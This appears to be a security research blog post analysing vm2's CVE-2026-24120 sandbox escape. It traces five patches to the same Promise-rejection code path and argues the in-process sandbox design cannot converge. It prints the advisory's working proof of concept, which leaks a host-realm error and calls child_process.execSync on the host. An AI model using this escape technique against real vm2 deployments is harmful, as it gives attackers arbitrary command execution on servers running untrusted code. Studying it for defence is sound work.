The vm2 README has a section called "Important Security Disclaimer." It runs four paragraphs and contains this sentence: "Despite our best efforts, researchers and security professionals continuously discover new ways to escape the vm2 sandbox." The maintainer's word for that position is "honest."
CVE-2026-24120 was published 2026-05-04 against vm2 prior to 3.10.5. The CVE record describes it as an insufficient fix for CVE-2023-37466, the September 2023 Promise species sandbox escape. The patched release shipped on February 17, 2026. Between February 17 and May 3, vm2 cut three more releases that closed seventeen more GitHub advisories of the same general class.
The README and the CVE record are both vm2's official position. Only the README describes the bug class accurately.
The CVE description names a bug. The README names the design.
The CVE record reads:
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.
The shape of that paragraph is the shape of every vm2 advisory. A specific path was insufficient. A specific patch closes it. The class of bug requires a new instance to recur.
The README's framing of the same situation is at the top of the file:
JavaScript is an extraordinarily dynamic language. Objects can be accessed through prototype chains, constructors can be reached via error objects, symbols provide protocol hooks, and async execution creates timing windows. The sheer number of ways to traverse from one object to another in JavaScript makes building an airtight in-process sandbox extremely difficult.
We are honest about this reality: Despite our best efforts, researchers and security professionals continuously discover new ways to escape the vm2 sandbox. We actively patch these vulnerabilities as they are reported, but the cat-and-mouse nature of in-process sandboxing means that:
- New bypasses will likely be discovered in the future.
That paragraph and the CVE description are written about the same code. The CVE describes one instance and labels it patched. The README describes a substrate and tells you to subscribe to security advisories. The substrate is the design.
The PoC's first line is misleading. The trigger is in the third.
The advisory ships this PoC:
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
const e = new Error();
e.name = Symbol();
return e.stack;
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => {
return err.constructor.constructor('return process')()
.mainModule.require('child_process')
.execSync('touch pwned');
}
)
}
}
};
p.then();
`);
Reading line one as the active ingredient is a misread. Object.defineProperty=()=>{} neutralises the global symbol. The sandbox's Promise species defense does not call the global. lib/setup-sandbox.js saves the descriptor at boot:
const {
apply,
defineProperty: localReflectDefineProperty,
getOwnPropertyDescriptor: localReflectGetOwnPropertyDescriptor
} = localReflect;
resetPromiseSpecies calls localReflectDefineProperty, not Object.defineProperty. Overwriting the global Object.defineProperty from sandbox code does not reach the saved reference.
The active line is e.name = Symbol(). Error.prototype.stack is a getter; V8 builds the formatted string by reading .name and converting to string. Symbols throw TypeError: Cannot convert a Symbol value to a string when implicitly stringified. The throw runs in the host's stack-trace formatter. The resulting TypeError is created in the host realm.
async function fn() returns a real Promise. The return e.stack triggers the host TypeError. The async function's machinery rejects the promise with that host-realm error as its rejection value. p.then() is the trigger that schedules onRejected.
Whatever the post-rejection chain looks like in detail, the rejection value reaching sandbox code is a host-realm TypeError whose constructor chain is rooted in the host realm. From there, err.constructor.constructor('return process')() is the standard navigation.
The Promise species framing on line nine is a holdover from CVE-2023-37466. The species substitution presupposed a defense that wraps then and uses the species to construct a derived promise inside the sandbox. The vm2 defense added resetPromiseSpecies in 2023 to defeat that. The CVE-2026-24120 PoC works whether or not the species substitution succeeds, because the rejection value itself is the host object the attacker wants.
v3.10.5's fix does not appear in the function the CVE description calls out.
If the CVE description is accurate and the fix for CVE-2023-37466 was insufficient, the patched release should change the function that performs the species reset. It does not.
$ git log v3.10.4..v3.10.5 -- lib/setup-sandbox.js --oneline
1fbdeff fix: block WebAssembly.JSTag to prevent wasm-level exception catch sandbox escape
a6cd917 Merge commit from fork
57971fa Merge commit from fork
ebcfe94 Merge commit from fork
f9d596a chore: allow Object.setPrototypeOf on sandbox-local objects (#556)
resetPromiseSpecies is byte-identical between the two tags. The active fix in a6cd917 is two-shouldered: switch the rejection sanitiser from ensureThis to a new handleException, and add handleException's body.
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
...
if (typeof onRejected === 'function') {
const origOnRejected = onRejected;
onRejected = function onRejected(error) {
- error = ensureThis(error);
+ error = handleException(error);
return apply(origOnRejected, this, [error]);
};
}
return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};
The new function carries the patch's reasoning in its comment header:
/*
* SuppressedError sanitization
*
* When V8 internally creates SuppressedError during DisposableStack.dispose()
* or 'using' declarations, the .error and .suppressed properties may contain
* host-realm errors (e.g., TypeError from Symbol() name trick). Since the
* SuppressedError is created in the sandbox context, ensureThis returns it
* as-is, leaving its sub-error properties unsanitized.
*/
The comment names the trigger. "TypeError from Symbol() name trick." That is the third line of the PoC. The defense being patched is not the Promise species defense from 2023. The defense being patched is the rejection sanitiser the species defense added a callback to in January 2026.
The companion commit 1fbdeff deletes WebAssembly.JSTag from the sandbox to close a Node 25 wasm try_table/catch path that produced the same primitive: catch a host JS exception in wasm, return it to JS as an externref, navigate constructor.constructor. The two commits close two new entry points to the same destination.
The Promise species defense is unchanged. There was no patch to make.
Five fixes for the same primitive across thirty-two months.
git log --grep in lib/setup-sandbox.js for the species lineage:
| Date |
Commit |
Shape |
| 2023-09-06 |
26168e6 |
Fixes CVE-2023-37466 by wrapping Reflect.apply to reset thisArg.constructor[Symbol.species] via Object.defineProperty |
| 2023-10-06 |
e43c635 |
"Fix another variation of CVE-2023-37466." Replaces the silent reset with a thrown error and adds a globalPromise.prototype.then wrapper |
| 2024-08-05 |
13651c2 |
"Prevent sandbox escape attempt, but do not throw." Reverts the throw, performs the reset unconditionally |
| 2026-01-09 |
76ca2e9 |
"Sanitize Promise callback arguments to prevent sandbox escape." Wraps onFulfilled/onRejected through ensureThis |
| 2026-02-15 |
a6cd917 |
Replaces ensureThis with handleException, adds SuppressedError sub-error recursion |
The first commit author is the same as the third commit author. The second commit author is the same as the first. The fourth and fifth commits are the package's lead maintainer. Three different people across three years working on the same defense at the same call site. Each commit closes a path. Each commit leaves another shape of the same destination reachable, because the destination is "host realm error reaches sandbox code via async/Promise machinery," and async/Promise machinery in V8 has a lot of edges.
Eighteen advisories in three months. The README is the only document that admits this.
Here is vm2's release cadence between v3.10.5 and v3.11.2:
| Tag |
Date |
Closed |
| v3.10.5 |
2026-02-17 |
CVE-2026-24120 plus a JSTag block, a setPrototypeOf regression, three security merges from a private fork |
| v3.11.0 |
2026-05-01 |
13 advisories: GHSA-grj5, v37h, qcp4, 47x8, 55hx, vwrp, 947f, hw58, 6785, mpf8, v27g, wp5r, cp6g |
| v3.11.1 |
2026-05-01 |
GHSA-8hg8-63c5-gwmx ({ nesting: true, require: false } accepted at construction) |
| v3.11.2 |
2026-05-03 |
GHSA-2cm2, 9vg3, 9qj6 |
Eighteen GitHub advisories closed across four releases, three months. v3.11.0 and v3.11.1 cut on the same day, forty-two minutes apart. v3.11.2 cut two days later. The cadence does not trend down.
Read the v3.11.2 changelog entry for GHSA-9vg3-4rfj-wgcm and notice the structural shape:
The post-GHSA-mpf8 hardening switched handleException and globalPromise.prototype.then onFulfilled to wrap caught/resolved values with bridge.from() for "symmetry." from() builds a sandbox-side proxy whose target the bridge treats as host-realm; calling it on a sandbox-realm null-proto value ({__proto__: null} thrown or Promise.resolve-d by sandbox JS) produced a proxy whose set trap unwrapped sandbox proxies of host references (e.g. Buffer.prototype.inspect) back to their raw host originals and stored them on the underlying sandbox object, readable via the original sandbox reference and pivot to host Function constructor to RCE.
That paragraph documents an advisory introduced by an earlier advisory's hardening. The fix for one CVE produced the substrate for the next. The function being patched is handleException and globalPromise.prototype.then's onFulfilled wrapper, the same two surfaces patched in v3.10.5 for CVE-2026-24120, the same two surfaces patched in January 2026, the same two surfaces patched in 2023.
This is what an unpatchable primitive looks like as inventory. Each patch is a real fix. The list of patches is also the list of evidence that no fix at this layer can converge. The same maintainer has been adding sanitisation layers to the same two functions since 2023, and an attacker reading this post can predict the location of the next patch without knowing what bug it will close.
This is also a design-debt-driver of the most explicit kind. The CVE descriptions across vm2's lineage rhyme on shape (__proto__ walk, error-object constructor traversal, host-realm leak via Promise rejection, host-realm leak via wasm catch, host-realm leak via util.inspect callback, host-realm leak via property descriptor enumeration), and every patch is a sanitisation layer at one boundary. The substrate, in-process JavaScript sandboxing through Proxies, is unchanged. The next CVE is the next entry point a researcher reaches.
The maintainer's recommendation is in the same README.
The "More Robust Alternatives" section of the README reads:
If you require stronger isolation guarantees, consider these alternatives that provide true process or hardware-level isolation:
- isolated-vm (separate V8 isolates)
- Separate process / Worker with restricted permissions
- Containers / VMs (Docker, gVisor, Firecracker)
- Managed services (Lambda, Cloudflare Workers)
That is not a footnote. That is the README of the library you are considering using telling you to consider not using it. The "When vm2 May Still Be Appropriate" section that follows is short, hedged, and ends with "If you're running code from completely untrusted sources (e.g., arbitrary user submissions), we strongly recommend using a solution with stronger isolation guarantees."
Read that paragraph as a the-detector-is-the-target self-disclosure. vm2 exists to make vm.run("<user code>") safe; the customer who deployed it for that purpose finds the same README naming "arbitrary user submissions" as the case the maintainer recommends against using vm2 for. The library's primary input shape is the threat model the library tells callers to handle elsewhere.
PoC: advisories/GHSA-qvjj-29qf-hp7p
The CVE record says "patched in version 3.10.5." The README says "new bypasses will likely be discovered in the future." vm2 published both. One of them describes the design.